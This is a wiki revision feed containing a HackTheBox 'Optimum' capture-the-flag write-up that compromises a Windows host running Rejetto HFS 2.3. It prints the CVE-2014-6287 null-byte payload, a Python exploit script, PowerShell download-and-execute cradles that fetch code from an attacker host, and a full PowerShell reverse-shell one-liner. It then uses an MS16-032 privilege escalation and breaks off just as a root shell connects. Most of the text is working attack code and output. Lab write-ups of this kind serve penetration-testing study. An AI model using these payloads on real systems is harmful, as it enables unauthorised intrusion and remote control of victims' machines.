<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FOptimum</id>
	<title>Write-ups/HTB/Optimum - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FOptimum"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Optimum&amp;action=history"/>
	<updated>2026-04-21T15:21:50Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Optimum&amp;diff=1177&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 19:49, 15 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Optimum&amp;diff=1177&amp;oldid=prev"/>
		<updated>2022-01-15T19:49:43Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Optimum&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = HFS RCE, Kernel Exploit&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-104.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another Windows box, this one however had two CVEs that we could abuse to get initial access and root. It would be possible to use metasploit and be done with this machine in under 10 minutes, however I will not use metasploit on this machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with an NMAP scan. There is only one port open, port &amp;#039;&amp;#039;&amp;#039;80&amp;#039;&amp;#039;&amp;#039;, and it points to a webserver thats running Rejetto HFS 2.3. Having encoutered this before I knew this was vulnerable to RCE.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/optimum]&lt;br /&gt;
└─# nmap -sC -sV -p- 10.10.10.8 --min-rate 10000 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 17:04 EST&lt;br /&gt;
Nmap scan report for 10.10.10.8&lt;br /&gt;
Host is up (0.032s latency).&lt;br /&gt;
Not shown: 65534 filtered tcp ports (no-response)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
80/tcp open  http    HttpFileServer httpd 2.3&lt;br /&gt;
|_http-title: HFS /&lt;br /&gt;
|_http-server-header: HFS 2.3&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 21.07 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-03-word-image-102.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what is the vulnerability? From CVE.Mitre.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.&lt;br /&gt;
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287#:~:text=The%20findMacroMarker%20function%20in%20parserLib,sequence%20in%20a%20search%20action.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And from my earlier TryHackMe notes about what null byte injection is:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;Using null bytes is an injection technique where URL-encoded representation such as &amp;#039;&amp;#039;&amp;#039;%00&amp;#039;&amp;#039;&amp;#039; or &amp;#039;&amp;#039;&amp;#039;0x00 &amp;#039;&amp;#039;&amp;#039;in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte.&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So the exploit to get initial access would be using this string. This is URLdecoded. For this to work we have to URL encode it and send it via BURP or just use a script. I used a script&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
http://10.10.10.8/?search=%00{.exec|c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/mini-reverse.ps1&amp;#039;).}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I used Oscar Andreu&amp;#039;s script:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)&lt;br /&gt;
# Google Dork: intext:&amp;quot;httpfileserver 2.3&amp;quot;&lt;br /&gt;
# Date: 28-11-2020&lt;br /&gt;
# Remote: Yes&lt;br /&gt;
# Exploit Author: Óscar Andreu&lt;br /&gt;
# Vendor Homepage: http://rejetto.com/&lt;br /&gt;
# Software Link: http://sourceforge.net/projects/hfs/&lt;br /&gt;
# Version: 2.3.x&lt;br /&gt;
# Tested on: Windows Server 2008 , Windows 8, Windows 7&lt;br /&gt;
# CVE : CVE-2014-6287&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
# Usage :  python3 Exploit.py&lt;br /&gt;
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 &amp;quot;c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/shells/mini-reverse.ps1&amp;#039;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import urllib3&lt;br /&gt;
import sys&lt;br /&gt;
import urllib.parse&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	http = urllib3.PoolManager()&lt;br /&gt;
	url = f&amp;#039;http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}&amp;#039;&lt;br /&gt;
	print(url)&lt;br /&gt;
	response = http.request(&amp;#039;GET&amp;#039;, url)&lt;br /&gt;
&lt;br /&gt;
except Exception as ex:&lt;br /&gt;
	print(&amp;quot;Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command&amp;quot;)&lt;br /&gt;
	print(ex)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For this to work, I created a reverse shell and started a python HTTP server. The one liner below is from [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#nodejs PayloadAllThings].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/optimum]&lt;br /&gt;
└─# cat mini-reverse.ps1&lt;br /&gt;
$client = New-Object System.Net.Sockets.TCPClient(&amp;#039;10.10.14.17&amp;#039;,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;#039;PS &amp;#039; + (pwd).Path + &amp;#039;&amp;gt; &amp;#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can look at our HTTP server and see that the file have been transferred.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/optimum]&lt;br /&gt;
└─# python3 -m http.server 9000&lt;br /&gt;
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...&lt;br /&gt;
&lt;br /&gt;
10.10.10.8 - - [14/Jan/2022 17:44:34] &amp;quot;GET /mini-reverse.ps1 HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.8 - - [14/Jan/2022 17:44:34] &amp;quot;GET /mini-reverse.ps1 HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.8 - - [14/Jan/2022 17:44:34] &amp;quot;GET /mini-reverse.ps1 HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.8 - - [14/Jan/2022 17:44:34] &amp;quot;GET /mini-reverse.ps1 HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And looking at our listener we can see that we have a connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444                                                                                                                                                                                                                1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.8] 49315&lt;br /&gt;
&lt;br /&gt;
ls&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Directory: C:\Users\kostas\Desktop&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----         21/1/2022   9:35 ??            %TEMP%&lt;br /&gt;
-a---         18/3/2017   2:11 ??     760320 hfs.exe&lt;br /&gt;
-ar--         18/3/2017   2:13 ??         32 user.txt.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
optimum\kostas&lt;br /&gt;
PS C:\Users\kostas\Desktop&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I will use Windows Exploit Suggester (WES) to get an idea of what vulnerabilites I could use to escalate my privileges. WES works on the attacker machine and uses the information from the command &amp;#039;&amp;#039;&amp;#039;systeminfo&amp;#039;&amp;#039;&amp;#039;. You have to save the output on your local machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
systeminfo&lt;br /&gt;
&lt;br /&gt;
Host Name:                 OPTIMUM&lt;br /&gt;
OS Name:                   Microsoft Windows Server 2012 R2 Standard&lt;br /&gt;
OS Version:                6.3.9600 N/A Build 9600&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Server&lt;br /&gt;
OS Build Type:             Multiprocessor Free&lt;br /&gt;
Registered Owner:          Windows User&lt;br /&gt;
Registered Organization:&lt;br /&gt;
Product ID:                00252-70000-00000-AA535&lt;br /&gt;
Original Install Date:     18/3/2017, 1:51:36 ??&lt;br /&gt;
System Boot Time:          21/1/2022, 9:02:40 ??&lt;br /&gt;
System Manufacturer:       VMware, Inc.&lt;br /&gt;
System Model:              VMware Virtual Platform&lt;br /&gt;
System Type:               x64-based PC&lt;br /&gt;
Processor(s):              1 Processor(s) Installed.&lt;br /&gt;
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz&lt;br /&gt;
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018&lt;br /&gt;
Windows Directory:         C:\Windows&lt;br /&gt;
System Directory:          C:\Windows\system32&lt;br /&gt;
Boot Device:               \Device\HarddiskVolume1&lt;br /&gt;
System Locale:             el;Greek&lt;br /&gt;
Input Locale:              en-us;English (United States)&lt;br /&gt;
Time Zone:                 (UTC+02:00) Athens, Bucharest&lt;br /&gt;
Total Physical Memory:     4.095 MB&lt;br /&gt;
Available Physical Memory: 3.087 MB&lt;br /&gt;
Virtual Memory: Max Size:  5.503 MB&lt;br /&gt;
Virtual Memory: Available: 4.336 MB&lt;br /&gt;
Virtual Memory: In Use:    1.167 MB&lt;br /&gt;
Page File Location(s):     C:\pagefile.sys&lt;br /&gt;
Domain:                    HTB&lt;br /&gt;
Logon Server:              \\OPTIMUM&lt;br /&gt;
Hotfix(s):                 31 Hotfix(s) Installed.&lt;br /&gt;
                           [01]: KB2959936&lt;br /&gt;
                           [02]: KB2896496&lt;br /&gt;
                           [03]: KB2919355&lt;br /&gt;
                           [04]: KB2920189&lt;br /&gt;
                           [05]: KB2928120&lt;br /&gt;
                           [06]: KB2931358&lt;br /&gt;
                           [07]: KB2931366&lt;br /&gt;
                           [08]: KB2933826&lt;br /&gt;
                           [09]: KB2938772&lt;br /&gt;
                           [10]: KB2949621&lt;br /&gt;
                           [11]: KB2954879&lt;br /&gt;
                           [12]: KB2958262&lt;br /&gt;
                           [13]: KB2958263&lt;br /&gt;
                           [14]: KB2961072&lt;br /&gt;
                           [15]: KB2965500&lt;br /&gt;
                           [16]: KB2966407&lt;br /&gt;
                           [17]: KB2967917&lt;br /&gt;
                           [18]: KB2971203&lt;br /&gt;
                           [19]: KB2971850&lt;br /&gt;
                           [20]: KB2973351&lt;br /&gt;
                           [21]: KB2973448&lt;br /&gt;
                           [22]: KB2975061&lt;br /&gt;
                           [23]: KB2976627&lt;br /&gt;
                           [24]: KB2977629&lt;br /&gt;
                           [25]: KB2981580&lt;br /&gt;
                           [26]: KB2987107&lt;br /&gt;
                           [27]: KB2989647&lt;br /&gt;
                           [28]: KB2998527&lt;br /&gt;
                           [29]: KB3000850&lt;br /&gt;
                           [30]: KB3003057&lt;br /&gt;
                           [31]: KB3014442&lt;br /&gt;
Network Card(s):           1 NIC(s) Installed.&lt;br /&gt;
                           [01]: Intel(R) 82574L Gigabit Network Connection&lt;br /&gt;
                                 Connection Name: Ethernet0&lt;br /&gt;
                                 DHCP Enabled:    No&lt;br /&gt;
                                 IP address(es)&lt;br /&gt;
                                 [01]: 10.10.10.8&lt;br /&gt;
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.&lt;br /&gt;
PS C:\Users\kostas\Desktop&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And the output from WES.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/opt/Windows-Exploit-Suggester]&lt;br /&gt;
└─# python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
[*] initiating winsploit version 3.3...&lt;br /&gt;
[*] database file detected as xls or xlsx based on extension&lt;br /&gt;
[*] attempting to read from the systeminfo input file&lt;br /&gt;
[+] systeminfo input file read successfully (ascii)&lt;br /&gt;
[*] querying database file for potential vulnerabilities&lt;br /&gt;
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits&lt;br /&gt;
[*] there are now 246 remaining vulns&lt;br /&gt;
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin&lt;br /&gt;
[+] windows version identified as &amp;#039;Windows 2012 R2 64-bit&amp;#039;&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - &amp;#039;win32k.sys&amp;#039; &amp;#039;NtSetWindowLongPtr&amp;#039; Privilege Escalation (MS16-135) (2)&lt;br /&gt;
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important&lt;br /&gt;
[*]   https://github.com/foxglovesec/RottenPotato&lt;br /&gt;
[*]   https://github.com/Kevin-Robertson/Tater&lt;br /&gt;
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege&lt;br /&gt;
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 &amp;amp; Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 &amp;amp; Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important&lt;br /&gt;
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important&lt;br /&gt;
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer &amp;lt;= 11 - OLE Automation Array Remote Code Execution (#1), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer &amp;lt; 11 - OLE Automation Array Remote Code Execution (MSF), MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution &amp;#039;Sandworm&amp;#039; Exploit (MS14-060), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important&lt;br /&gt;
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical&lt;br /&gt;
[*] done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== MS16-032 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I will use the MS16-032 vulnerability which is present on our target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
An elevation of privilege vulnerability exists in Microsoft Windows if the Windows Secondary Logon Service fails to properly manage request handles in memory. An attacker who successfully exploited this vulnerability could run arbitrary code as an administrator. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.&lt;br /&gt;
[https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-032 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use [https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1 Empires] modified MS16-032 python script to get privesc on the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But I will add this line to the end of the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-MS16032 -Command &amp;quot;iex(New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/mini-reverse.ps1&amp;#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will open up a new shell where we will have root. I changed the port in the script to another port since we already have estabilished a connection on port 4444.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I start a python HTTP server and run this command on the target machine, while having a new nc listener up and running.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex(New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/ms16-032.ps1&amp;#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we have root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(aghanim㉿kali)-[~]&lt;br /&gt;
└─$ rlwrap nc -lvnp 6666&lt;br /&gt;
listening on [any] 6666 ...&lt;br /&gt;
&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.8] 49392&lt;br /&gt;
whoami&lt;br /&gt;
